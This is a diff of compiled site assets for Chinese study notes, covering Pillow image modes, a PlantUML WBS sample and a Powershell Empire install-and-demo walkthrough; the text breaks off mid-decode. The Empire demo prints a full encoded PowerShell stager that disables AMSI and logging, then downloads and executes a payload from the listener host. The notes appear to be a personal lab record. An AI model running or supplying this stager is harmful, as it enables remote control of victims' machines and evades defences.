+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as n,o,c as r,b as e,e as d,d as t,f as i}from"./app-880c6425.js";const s={},c=i(' 目录 Pillow Image convert(mode) ',8),h={href:"https://blog.csdn.net/qq_32808045/article/details/108855380",target:"_blank",rel:"noopener noreferrer"},m=e("hr",null,null,-1),u=i("是图像实例对象的一个方法,接受一个 mode 参数,用以指定一种色彩模式
mode
1: 1位像素,黑白,每字节一个像素存储 L: 8位像素,黑白 P: 8位像素,使用调色板映射到任何其他模式 RGB: 3x8位像素,真彩色 RGBA: 4x8位像素,带透明度掩模的真彩色 CMYK: 4x8位像素,分色 YCbCr: 3x8位像素,彩色视频格式 I: 32位有符号整数像素 F: 32位浮点像素 ",2),g=i(` new(mode, size, color=0) (function) new: (mode: str, size: _Size, color: str | Tuple[int, ...] | None = ...) -> Image
+Creates a new image with the given mode and size.
+
+:param mode: The mode to use for the new image.
+:param size: A 2-tuple, containing (width, height) in pixels.
+:param color: What color to use for the image. Default is black.
+ If given, this should be a single integer or floating point value for single-band modes, and a tuple for multi-band modes (one value per band). When creating RGB images, you can also use color strings as supported by the ImageColor module. If the color is None, the image is not initialised.
+:returns: An ~PIL.Image.Image object.
+
ImageDraw 支持 2D 图像, 且与 Image 对象的区别在于 ImageDraw 对象支持绘制 `,7);function v(f,p){const a=n("ExternalLinkIcon");return o(),r("div",null,[c,e("ul",null,[e("li",null,[e("p",null,[e("a",h,[d("[Python] - 图像处理 ------ img.convert()@Exler_yz"),t(a)])]),m]),u]),g])}const w=l(s,[["render",v],["__file","Pillow.html.vue"]]);export{w as default};
diff --git a/assets/PlantUML.html-5e63430e.js b/assets/PlantUML.html-5e63430e.js
new file mode 100644
index 0000000000..666fe67622
--- /dev/null
+++ b/assets/PlantUML.html-5e63430e.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-2996a631","path":"/NoteTools/PlantUML.html","title":"PlantUML","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Work Breakdown Structure (WBS)","slug":"work-breakdown-structure-wbs","link":"#work-breakdown-structure-wbs","children":[]},{"level":2,"title":"OrgMode syntax","slug":"orgmode-syntax","link":"#orgmode-syntax","children":[]}],"git":{"createdTime":1667840449000,"updatedTime":1675222387000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2},{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.45,"words":136},"filePathRelative":"NoteTools/PlantUML.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/PlantUML.html-ac617555.js b/assets/PlantUML.html-ac617555.js
new file mode 100644
index 0000000000..4b7d98f160
--- /dev/null
+++ b/assets/PlantUML.html-ac617555.js
@@ -0,0 +1,14 @@
+import{_ as s}from"./plugin-vue_export-helper-c27b6911.js";import{r as t,o as i,c as o,b as e,e as n,d as l,f as r}from"./app-880c6425.js";const d={},c=e("h1",{id:"plantuml",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#plantuml","aria-hidden":"true"},"#"),n(" PlantUML")],-1),u={href:"https://plantuml.com/zh/",target:"_blank",rel:"noopener noreferrer"},m=r(' Work Breakdown Structure (WBS) ',2),h={href:"https://wiki.mbalib.com/wiki/%E5%B7%A5%E4%BD%9C%E5%88%86%E8%A7%A3%E7%BB%93%E6%9E%84",target:"_blank",rel:"noopener noreferrer"},p={href:"https://plantuml.com/zh/wbs-diagram",target:"_blank",rel:"noopener noreferrer"},b=e("p",null,"WBS diagram are still in beta: the syntax may change without notice.",-1),v=r(` OrgMode syntax This syntax is compatible with OrgMode @startwbs
+* Business Process Modelling WBS
+** Launch the project
+*** Complete Stakeholder Research
+*** Initial Implementation Plan
+** Design phase
+*** Model of AsIs Processes Completed
+**** Model of AsIs Processes Completed1
+**** Model of AsIs Processes Completed2
+*** Measure AsIs performance metrics
+*** Identify Quick Wins
+** Complete innovate phase
+@endwbs
+
`,5);function _(f,k){const a=t("ExternalLinkIcon");return i(),o("div",null,[c,e("blockquote",null,[e("p",null,[e("a",u,[n("官方中文教程"),l(a)])])]),m,e("blockquote",null,[e("p",null,[e("a",h,[n("工作分解结构"),l(a)])]),e("p",null,[e("a",p,[n("官方教程"),l(a)])]),b]),v])}const x=s(d,[["render",_],["__file","PlantUML.html.vue"]]);export{x as default};
diff --git a/assets/Powershell-Empire.html-04750171.js b/assets/Powershell-Empire.html-04750171.js
new file mode 100644
index 0000000000..f62fa6d480
--- /dev/null
+++ b/assets/Powershell-Empire.html-04750171.js
@@ -0,0 +1,284 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o,c as l,b as n,e as s,d as a,f as t}from"./app-880c6425.js";const c={},A=n("h1",{id:"powershell-empire",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#powershell-empire","aria-hidden":"true"},"#"),s(" Powershell Empire")],-1),r={href:"https://github.com/EmpireProject/Empire.git",target:"_blank",rel:"noopener noreferrer"},d={href:"https://www.kali.org/tools/powershell-empire/",target:"_blank",rel:"noopener noreferrer"},m={href:"https://www.freebuf.com/sectool/158393.html",target:"_blank",rel:"noopener noreferrer"},g={href:"https://www.freebuf.com/articles/web/165925.html",target:"_blank",rel:"noopener noreferrer"},k={href:"https://github.com/EmpireProject/Empire",target:"_blank",rel:"noopener noreferrer"},v=n("code",null,"post-exploitation framework",-1),b=t(` 安装 Github PS: main
分支反映了最新更改,可能并不总是稳定的。克隆存储库后,可以通过运行 setup/checkout-latest-tag.sh
脚本签出最新的稳定版本。
1.clone 仓库本体及相关依赖仓库 git clone --recursive https://github.com/BC-SECURITY/Empire.git
+
上面的全是首次 clone 失败的 reference repo, 失败后会加入计划任务, 全 clone 一遍后会重新 clone 失败的仓库
如下即为重新 clone 成功了:
2. 切到稳定版本并安装 cd Empire
+./setup/checkout-latest-tag.sh
+
sudo ./setup/install.sh
+
中间会有个提示要不要装 xar
和 bomutils
的选项需要手动输入选择一下:
解压了一堆包:
然后开始
这里由于网络原因超时了 ↑, 然后后面恢复了:
然后应该是吧 xar 的目录列出来了:
然后提示了一堆需要 autoupdate:
然后似乎是在拿 gcc 编译 libxml, 报了一堆 warning, 应该不用管
编译 xar
:
拉 bomutils
:
然后会询问要不要装 openjdk
:
装 C# agents 以及 modules
询问要不要装 MinGW
:
得, 又是网络问题, 打个快照先, 然后重跑一遍安装脚本:
又是 xar
下面一堆目录和 warning 就不截图了, 然后接着是 OpenJDK:
然后是 MinGW
:
最后又 package not found, enmmmmmm, 再重装一次吧:
得, 总是网络问题, 挂个代理再试一次吧...
看样子是成功了:
然后是检查 python 版本:
然后是装一些包, 不过似乎全失败了:
也许和代理有关系, 把代理下掉试试:
依旧不行:
记录一下失败的日志:
可以看到安装失败的包有:
`,102),h={href:"https://github.com/eliben/pycparser",target:"_blank",rel:"noopener noreferrer"},B=t(`手动装一下试试:
手动装显示装好了, 不过重新运行脚本依旧会出错:
按照 DUBusErrorResponse
作为关键词进行检索, 似乎是 poetry
的问题
`,6),y={href:"https://github.com/HibiKier/zhenxun_bot/issues/1217",target:"_blank",rel:"noopener noreferrer"},Q={href:"https://stackoverflow.com/questions/75080993/dbuserrorresponse-while-running-poetry-install",target:"_blank",rel:"noopener noreferrer"},w=n("p",null,"尝试直接 poetry add 看看:",-1),E=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202309051339232.png",alt:"image-20230905133944148"})],-1),G=n("p",null,"检索该报错找到了如下信息:",-1),D={href:"https://github.com/python-poetry/poetry/issues/3012",target:"_blank",rel:"noopener noreferrer"},C={href:"https://github.com/python-poetry/poetry/issues/2692",target:"_blank",rel:"noopener noreferrer"},N={href:"https://blog.frank-mich.com/python-poetry-1-0-0-private-repo-issue-fix/",target:"_blank",rel:"noopener noreferrer"},f=t(`两个报错最终都指向了 kering, 且都提到了同一种解决方案:
export PYTHON_KEYRING_BACKEND = keyring.backends.null.Keyring
+
再重新跑一遍安装脚本试试:
终于开始正常运行了:
终于成功装完了, 根据最后的提示重新加载下配置文件来启用 nim
这里又反复确认了下项目所在的 kali 用户目录以及 root 用户的 .bashrc
中的配置是否都能成功加载完成, 因为我不能确定到底是把配置写在那个用户下了, 个人认为应该是当前命令行的 root 用户, 翻了下两个文件, 确实是在 root 下面:
`,13),_={href:"https://zh.wikipedia.org/wiki/Nim",target:"_blank",rel:"noopener noreferrer"},H=n("strong",null,"Nim",-1),U={href:"https://zh.wikipedia.org/wiki/%E6%8C%87%E4%BB%A4%E5%BC%8F%E7%B7%A8%E7%A8%8B",target:"_blank",rel:"noopener noreferrer"},x={href:"https://zh.wikipedia.org/wiki/%E9%80%9A%E7%94%A8%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80",target:"_blank",rel:"noopener noreferrer"},F={href:"https://zh.wikipedia.org/wiki/%E5%A4%9A%E9%87%8D%E7%BC%96%E7%A8%8B%E8%8C%83%E5%BC%8F",target:"_blank",rel:"noopener noreferrer"},S={href:"https://zh.wikipedia.org/wiki/%E9%9D%99%E6%80%81%E7%B1%BB%E5%9E%8B",target:"_blank",rel:"noopener noreferrer"},q={href:"https://zh.wikipedia.org/wiki/%E7%B7%A8%E8%AD%AF%E8%AA%9E%E8%A8%80",target:"_blank",rel:"noopener noreferrer"},$={href:"https://zh.wikipedia.org/wiki/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80",target:"_blank",rel:"noopener noreferrer"},M={href:"https://zh.wikipedia.org/wiki/C%E8%AF%AD%E8%A8%80",target:"_blank",rel:"noopener noreferrer"},Y={href:"https://zh.wikipedia.org/wiki/Python",target:"_blank",rel:"noopener noreferrer"},I={href:"https://zh.wikipedia.org/wiki/Lisp",target:"_blank",rel:"noopener noreferrer"},P=t(`接下来起一下 server client 试试
又有报错, 不管是包还是网络, 先解决第一个问题:
[ERROR]: advanced_reporting failed to initialize: No module named 'stix2'
+
看了下这是 python 的一个包, 尝试拿 poetry 装一下这个库:
看样子还是能成功装上的, 再起一遍 server 试试
由于前面还看到下载失败啥的, 所以还是先挂下代理(
看样子似乎是正常启动了
再起一下 client:
总算是成功通过源码装好了, 嫌费劲的话还是直接 apt 装就行了:
sudo apt install powershell-empire
+
上线个机子验一下能不能用 具体步骤可以参阅下面的 Demo 章节
在生成上线命令时报错了:
`,25),Z={href:"https://pyperclip.readthedocs.io/en/latest/index.html#not-implemented-error",target:"_blank",rel:"noopener noreferrer"},L=t(`
sudo apt-get install xsel
+sudo apt-get install xclip
+pip install gtk
+pip install PyQt4
+
相应的进行处理
+export PYTHON_KEYRING_BACKEND = keyring.backends.null.Keyring
+poetry add gtk
+poetry add PyQt4
+
看到这里报错没找到就去翻了下为什么, 然后发现 gtk py 包的全名是 pygtk, 而且只支持 python2, 而 pyqt 已经出到 6 了, 感觉也和剪贴板没啥关系, 就不装了
再试一下生成上线命令发现还是一样的报错, 猜测可能是没加载到啥配置之类的, 重启了下主机
重启完主机后起 server 的时候发现连不上数据库, 还需要手动启动下 mysql
以及需要等 Starkiller 启动才能起 client, 否则会连不上
这就比较头疼了, 要拉更新, 太慢了, 挂下代理吧
export https_proxy = http://127.0.0.1:7890
+
然后就能成功运行了
不过这个代理感觉可能会影响部分功能, 下掉再重启试试:
成功起来了, 不过感觉总是这样的话并不是个好办法, 看看有没有啥参数能跳过 Starkiller 更新, 循着 ./ps-empire
一步步找找:
指向 empire.py
主程序:
调用了 empire.empire.server.run(args)
来启动 server
函数全文如下:
def run ( args) :
+ setup_logging( args)
+ check_submodules( )
+ check_recommended_configuration( )
+
+ if not args. restport:
+ args. restport = 1337
+ else :
+ args. restport = int ( args. restport[ 0 ] )
+
+ if not args. restip:
+ args. restip = "0.0.0.0"
+ else :
+ args. restip = args. restip[ 0 ]
+
+ if args. version:
+
+ print ( empire. VERSION)
+ sys. exit( )
+
+ elif args. reset:
+ choice = input (
+ "\\x1b[1;33m[>] Would you like to reset your Empire Server instance? [y/N]: \\x1b[0m"
+ )
+ if choice. lower( ) == "y" :
+ reset( )
+
+ sys. exit( )
+
+ else :
+ base. startup_db( )
+ global main
+
+
+
+
+ if main is None :
+ main = empire. MainMenu( args= args)
+
+ if not os. path. exists( "./empire/server/data/empire-chain.pem" ) :
+ log. info( "Certificate not found. Generating..." )
+ subprocess. call( "./setup/cert.sh" )
+ time. sleep( 3 )
+
+ from empire. server. api import app
+
+ app. initialize( secure= args. secure_api, ip= args. restip, port= args. restport)
+
+ sys. exit( )
+
+
可惜的是没有参数能控制是否更新 Starkiller, 继续向下看 app.initialize
根据 log 信息与代码定位到更新 Starkiller 的代码在 sync_starkiller
:
找到了:
配置在调用 sync_starkiller 传入了, 在捋一下来源找到了如下文件:
看样子还是可以传入参配置文件控制的, 默认的配置在这里:
如果要自定义的话可以拷贝一份默认配置, 例如:
这样就不用更新了, 不过直接改默认配置更方便, 之后需要更新的时候可以再改回来
然后在 client 端成功生成了上线命令:
可以看到能成功复制了
不过后续使用的时候发现有时又不能复制了, 又是一样的报错, 感觉有可能是因为我 ssh 连上去之后拷贝要跨机子所以报错了? 不过反正也不影响, 直接手动拷贝也可以
上线个机子试试:
Kali Kali 上可以直接通过 apt
安装 powershell-empire
sudo apt install powershell-empire
+
Demo `,61),J={href:"https://www.youtube.com/watch?v=wsSox64GqIU&t=635s",target:"_blank",rel:"noopener noreferrer"},T=n("hr",null,null,-1),K=n("h4",{id:"拓扑",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#拓扑","aria-hidden":"true"},"#"),s(" 拓扑")],-1),R=t(` 起 server powershell-empire server
+
起 Client 新开一个 bash 起 client
powershell-empire client
+
新建一个 http listener 起一个 http listener
这里可以看到, 默认情况下 Host 和 BindIP 都绑定的本地, 这里保持该默认配置, 然后设置下 Port
+usestager multi_launcher
+
可以看到 Language 默认为 powershell, 这里再设置一下 listener 为刚才创建的 http listener 然后执行
set listener http
+execute
+
PS: [+] New agent xxx checked in 那里是后面主机上线的提示, 刚执行完 execute 是不会出现的
上线命令如下:
powershell - noP - sta - w 1 - enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAEgAdQB2ACwAMwBnAHQAcwBjAH0AIwBfAEUAOgBmAEYAWAB3AG4AMgBiAFUAUABWAHwAaQBNAGUAMAArADUAUgAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYwBIAEcAQQBmAGQATABaAEQAQwBFAHQATABNAEsAPQBsAEwAcQA4AFUAdwBpAEUAdQB6AHYASQBRAEQANABqADcAcAA2AEkASgBzAGgAaQBpADEARQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
+
powershell
:表示调用 PowerShell 程序。-noP
:表示不加载配置文件。包括启动时加载的个人配置文件(Profile)和系统级别的配置文件。使用此参数可以在启动 PowerShell 时跳过配置文件的加载,加快启动速度。-sta
:Single Threaded Apartment
表示使用单线程的会话模式。-w 1
:等待指定的时间(以秒为单位)后自动退出 PowerShell。在这里,-w 1
表示等待 1 秒后自动退出 PowerShell。-enc
:表示后面跟着的是一个 Base64 编码的字符串,需要解码后执行。SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAEgAdQB2ACwAMwBnAHQAcwBjAH0AIwBfAEUAOgBmAEYAWAB3AG4AMgBiAFUAUABWAHwAaQBNAGUAMAArADUAUgAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYwBIAEcAQQBmAGQATABaAEQAQwBFAHQATABNAEsAPQBsAEwAcQA4AFUAdwBpAEUAdQB6AHYASQBRAEQANABqADcAcAA2AEkASgBzAGgAaQBpADEARQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
+
上述 base64 解码后得到:
"I\\u0000f\\u0000(\\u0000$\\u0000P\\u0000S\\u0000V\\u0000e\\u0000r\\u0000s\\u0000i\\u0000o\\u0000n\\u0000T\\u0000a\\u0000b\\u0000l\\u0000e\\u0000.\\u0000P\\u0000S\\u0000V\\u0000e\\u0000r\\u0000s\\u0000i\\u0000o\\u0000n\\u0000.\\u0000M\\u0000a\\u0000j\\u0000o\\u0000r\\u0000 \\u0000-\\u0000g\\u0000e\\u0000 